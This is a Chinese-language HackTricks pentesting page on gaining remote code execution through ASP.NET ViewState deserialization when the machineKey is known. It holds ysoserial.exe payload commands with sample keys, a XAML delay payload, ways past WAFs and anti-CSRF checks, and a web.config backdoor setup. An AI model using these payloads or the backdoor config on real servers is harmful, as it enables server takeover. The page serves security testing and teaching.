hacktricks/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md
2023-08-03 19:12:22 +00:00

255 lines
20 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
</details>
**本文内容摘自** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
# 介绍
ASP.NET Web应用程序使用ViewState来维护页面状态并在Web表单中持久化数据。
通常情况下,可以在**可以伪造有效的ViewState的Web服务器上运行代码**。这可以通过**禁用**MAC验证功能或者知道以下信息来实现
* **在.NET Framework版本4.5之前,验证密钥及其算法**
* **在.NET Framework版本4.5或更高版本中,验证密钥、验证算法、解密密钥和解密算法**
为了防止操纵攻击,.NET Framework可以使用`LosFormatter`类对已序列化的ViewState进行**签名和加密**。然后它使用消息认证码MAC验证机制验证签名。`ObjectStateFormatter`类执行签名、加密和验证任务。执行签名和/或加密机制所需的**密钥可以存储在`web.config`(应用程序级别)或`machine.config`(机器级别)文件的`machineKey`部分中**。当多个Web服务器用于服务相同的应用程序时通常会在Web Farm或集群中的负载均衡器后面使用。以下是使用.NET Framework版本2.0或更高版本的ASP.NET应用程序的配置文件中`machineKey`部分的格式示例:
```markup
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" />
```
应该注意的是,当配置文件中没有定义`machineKey`部分或者`validationKey`和`decryptionKey`属性被设置为`AutoGenerate`时,应用程序会根据一个加密随机密钥动态生成所需的值。算法也可以自动选择。目前在最新版本的.NET Framework中默认的验证算法是`HMACSHA256`,默认的解密算法是`AES`。更多详细信息请参见[\[13\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection)。
# 禁用ViewState MAC验证的RCE
过去,可以通过将`enableViewStateMac`属性设置为`False`来**禁用MAC验证**。微软在2014年9月发布了一个补丁[\[3\]](https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/),以在所有版本的.NET Framework中忽略此属性来强制执行MAC验证。尽管我们中的一些人可能认为“_ViewState MAC不能再被禁用_”[\[4\]](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET),但仍然可以通过在以下位置将`AspNetEnforceViewStateMac`注册表键设置为零来禁用MAC验证功能
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
或者,将以下**危险设置**添加到应用程序级别的`web.config`文件中也可以禁用MAC验证
```markup
<configuration>
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
</configuration>
```
{% hint style="danger" %}
当ViewState MAC验证被**禁用**时,可以使用[YSoSerial.Net](https://github.com/pwntester/ysoserial.net)项目生成`LosFormatter`负载作为ViewState以在服务器上运行任意代码。
{% endhint %}
在.NET Framework版本**4.5**之前,`__VIEWSTATE`参数可以在MAC验证功能被禁用的情况下进行**加密**。值得注意的是,**大多数扫描器**不会尝试发送未加密的ViewState参数来识别此漏洞。因此需要进行**手动**测试以检查当`__VIEWSTATE`参数被加密时是否禁用了MAC验证。可以通过在`__VIEWSTATE`参数中发送一个短的随机base64字符串来进行检查。以下URL显示了一个示例
```
https://victim.com/path/page.aspx?__VIEWSTATE=AAAA
```
如果目标页面**响应错误MAC验证功能已被禁用**否则它会抑制MAC验证错误消息。\
然而,在无法看到错误消息的情况下,这个技巧不起作用。
自动化扫描器应该使用**导致服务器端短暂延迟的有效负载**。可以通过执行以下ASP.NET代码来实现例如创建一个10秒的延迟
```
System.Threading.Thread.Sleep(10000);
```
```bash
string xaml_payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:System=""clr-namespace:System;assembly=mscorlib""
xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
<ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
<ObjectDataProvider.MethodParameters>
<System:Int32>10000</System:Int32>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";
```
# 启用ViewState MAC验证的RCE
在旧版本(**4.5之前**.NET Framework在**签名**序列化对象时使用**`TemplateSourceDirectory`**属性[【15】](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory)。然而,自从**4.5版本**开始,它使用**`Purpose`**字符串来创建哈希。这两种机制都需要从应用程序目录的根目录获取目标路径和页面名称。这些参数可以从URL中**提取出来**。
使用**旧框架**并强制执行ViewState加密的应用程序仍然可以**接受未加密的已签名ViewState**。这意味着**知道验证密钥及其算法就足够**来利用一个网站。似乎自从4.5版本以来默认情况下ViewState被加密即使`viewStateEncryptionMode`属性已设置为`Never`。这意味着在最新的.NET Framework版本中为了创建有效载荷还需要**解密密钥及其算法**。
ASP.NET ViewState包含一个名为`ViewStateUserKey`的属性[【16】](https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969\(v=msdn.10\))可用于减轻跨站请求伪造CSRF攻击的风险[【4】](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET)。在ViewState签名过程中**`ViewStateUserKey`**属性的值(当它不为`null`时)也会被使用。虽然不知道此参数的值可能会阻止我们的攻击,但是**它的值通常可以在cookie或隐藏输入参数中找到**[【17】](https://software-security.sans.org/developer-how-to/developer-guide-csrf)展示了一个实现示例)。
## ViewState YSoSerial.Net插件
在YSoSerial.Net主分支和YSoSerial.Netv2中您可以找到一个插件[**这个**](https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs)和[**这个**](https://github.com/pwntester/ysoserial.net/blob/v2/ysoserial/Plugins/ViewStatePlugin.cs)),用于在已知所有信息的情况下利用此技术。
### **对于.NET Framework >= 4.5**
```bash
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
```
### **对于 .NET Framework <= 4.0(旧版):**
_这里不需要解密密钥和算法_
```bash
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
```
_除了使用不同的gadget之外还可以使用`__VIEWSTATEGENERATOR`参数**而不是提供路径**_
```bash
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
```
_默认情况下它使用ActivitySurrogateSelector gadget需要在YSoSerial.Net项目中编译ExploitClass.cs类。当已知解密密钥(decryptionKey)值时ViewState负载也可以进行加密以避免WAF的检测:_
```bash
.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
```
{% hint style="info" %}
**注意:**由于YSoSerial.Net中使用的工具的性质即使在服务器端成功执行了利用目标ASP.NET页面也会始终响应错误。
{% endhint %}
### 应用程序路径
为了创建一个有效的ViewState找到应用程序路径的根目录是很重要的除非
* 应用程序使用的是.NET Framework 4.0或更低版本;且
* 已知`__VIEWSTATEGENERATOR`参数。
以下截图显示了IIS中的路径树
![](https://soroush.secproject.com/downloadable/images/aspnetviewstate/iis.png)
如果您对IIS中的虚拟目录和应用程序术语不熟悉可以参考[\[20\]](https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis)。
为了为上述URL生成一个ViewState`--path`和`--apppath`参数应该如下所示:
```
--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
--apppath=/app2/
```
如果我们不知道“app2”是一个应用程序名称我们可以使用**试错法逐个测试URL中的所有目录名称**直到找到一个可以在服务器上执行代码的ViewState可能通过获取DNS请求或引起延迟
### 生成器
在这种情况下,可以使用`--generator`参数。当已经提供了`--path`和`--apppath`参数时,可以使用`--isdebug`参数来检查插件是否也计算出相同的`__VIEWSTATEGENERATOR`参数。
## 利用旧版本
在撰写本博客文章时,尚未确定可以利用.NET Framework v1.1。
为了利用使用.NET Framework v4.0或更低版本的应用程序可以使用YSoSerial.Net v2.0分支[【21】](https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2)(最初作为另一项研究的一部分开发[【22】](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/)。然而该项目仅支持有限数量的gadget并且还需要目标主机安装.NET Framework 3.5或更高版本。
## **其他工具**
看起来Immunity Canvas支持在已知验证和加密密钥的情况下创建ViewState参数[【29】](https://vimeopro.com/user18478112/canvas/video/260982761)。以下工具也在我准备发布我的工作的同时发布,这令人惊讶:
* [https://github.com/0xACB/viewgen](https://github.com/0xACB/viewgen)使用Python编写
* [https://github.com/Illuminopi/RCEvil.NET](https://github.com/Illuminopi/RCEvil.NET)(使用.NET编写
我认为这些工具目前**不区分不同版本的.NET** Framework并且针对旧版加密。此外它们**不使用`ViewStateUserKey`**参数该参数可能用于防止CSRF攻击。
# 附加提示
## **使用GET请求**
也可以通过GET请求将`__VIEWSTATE`参数发送到URL中。唯一的限制因素是URL长度它限制了可以在此处使用的gadget类型。
## **在.NET Framework 4.5之前的版本中的加密**
如前所述,当利用.NET Framework 4.0及以下版本在v2.0至v4.0上进行了测试)时,`__VIEWSTATE`参数不需要加密,即使已将`ViewStateEncryptionMode`属性设置为`Always`。ASP.NET通过在请求中查找`__VIEWSTATEENCRYPTED`参数不需要任何值来决定是否对ViewState进行了加密。因此可以通过从请求中删除`__VIEWSTATEENCRYPTED`参数来发送未加密的ViewState。
这也意味着当验证密钥及其算法被窃取时,更改解密密钥或其算法无法阻止攻击。
可以加密`__VIEWSTATE`参数以绕过任何WAF。
## **绕过反CSRF反XSRF机制**
当使用无效的`__VIEWSTATE`参数时ASP.NET页面会产生错误。然而当代码直接使用`Request.Form`来接收输入时,页面仍然可以接收其输入,例如使用`Request.Form["txtMyInput"]`而不是`txtMyInput.Text`。通过从请求中删除`__VIEWSTATE`参数或添加具有无效值的`__PREVIOUSPAGE`参数可以实现CSRF攻击。由于`__PREVIOUSPAGE`参数默认情况下是加密和base64格式化的即使提供一个字符作为其值也应该会导致错误。
这可能会绕过通过设置`Page.ViewStateUserKey`参数实施的反CSRF保护机制。
## **使用ViewStateGenerator参数**
当已知`__VIEWSTATEGENERATOR`参数时,可以在使用.NET Framework版本4.0或更低版本的ASP.NET应用程序中使用它来对序列化对象进行签名而无需知道应用程序路径。
## **通过分块绕过WAF**
当将**`MaxPageStateFieldLength`**属性设置为**正值**时,可以将`__VIEWSTATE`参数分成多个部分。其**默认**值为**负值**,这意味着**`__VIEWSTATE`**参数**无法分成多个部分**。
当允许ViewState分块时这可能对绕过某些WAFs有用。
## **利用EventValidation参数**
`__EVENTVALIDATION`参数和其他一些参数与`__VIEWSTATE`参数类似地进行序列化,可以类似地进行目标化。通过`__EVENTVALIDATION`利用反序列化问题更加受限,需要:
* 一个POST请求
* 一个接受输入参数的ASP.NET页面
* 一个有效的输入参数名称。例如在服务器端有以下代码时在POST请求中使用`myinput`参数而不是`txtMyInput.Text`。
```markup
<asp:TextBox runat="server" ID="myinput" />
```
`__VIEWSTATE`参数的值在利用`__EVENTVALIDATION`参数时可以为空,但必须存在。
.NET Framework 4.5及以上版本使用的`Purpose`字符串用于创建有效签名,根据使用的参数不同而不同。下表显示了.NET Framework中定义的`Purpose`字符串:
| **输入参数** | **Purpose字符串** |
| ------------------------------------------------------------ | -------------------------------------------------- |
| “\_\_VIEWSTATE” | WebForms.HiddenFieldPageStatePersister.ClientState |
| “\_\_EVENTVALIDATION” | WebForms.ClientScriptManager.EventValidation |
| P2 in P1\|P2 in “\_\_dv” + ClientID + “\_\_hidden” | WebForms.DetailsView.KeyTable |
| P4 in P1\|P2\|P3\|P4 in “\_\_CALLBACKPARAM” | WebForms.DetailsView.KeyTable |
| P3 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.SortExpression |
| P4 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.DataKeys |
上表显示了所有可能被攻击的输入参数。
## **注意`__PREVIOUSPAGE`参数**
当请求中存在具有**无效**数据的**`__PREVIOUSPAGE`**参数时,应用程序**不会**对**`__VIEWSTATE`**参数进行反序列化。提供`__CALLBACKID`参数可以防止这种行为。
## **错误可靠性**
如前所述我们有时使用错误来检查生成的ViewState是否有效。当使用无效的`__VIEWSTATEGENERATOR`参数时ASP.NET默认情况下不会显示MAC验证错误。当使用`ViewStateUserKey`属性时此行为会发生变化因为ASP.NET不再抑制MAC验证错误。
此外,即使使用了`ViewStateUserKey`属性ASP.NET Web应用程序也可以通过以下设置忽略MAC验证错误
```markup
<appSettings>
<add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
</appSettings>
```
# 将Web.config作为后门
如果攻击者能够更改应用程序根目录下的**`web.config`**文件,他们可以轻松在服务器上运行代码。然而,对于攻击者来说,在应用程序中嵌入一个隐秘的后门可能是一个不错的选择。这可以通过**禁用MAC验证**并将`viewStateEncryptionMode`属性设置为`Always`来实现。这意味着所有未将`ViewStateEncryptionMode`属性设置为`Auto`或`Never`的ASP.NET页面都会始终使用加密的ViewState参数。然而由于**ViewState不使用MAC验证功能它们现在容易受到通过反序列化不受信任的数据进行远程代码执行的攻击**。以下是一个示例:
```markup
<configuration>
<system.web>
<pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
</system.web>
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="false" />
</appSettings>
</configuration>
```
另一个独立网站的选择是设置`machineKey`部分的任意密钥和算法来阻止其他攻击者!
需要注意的是,将`EnableViewState`属性设置为`False`并不能阻止此攻击因为ASP.NET仍然会解析ViewState。
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
- 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
</details>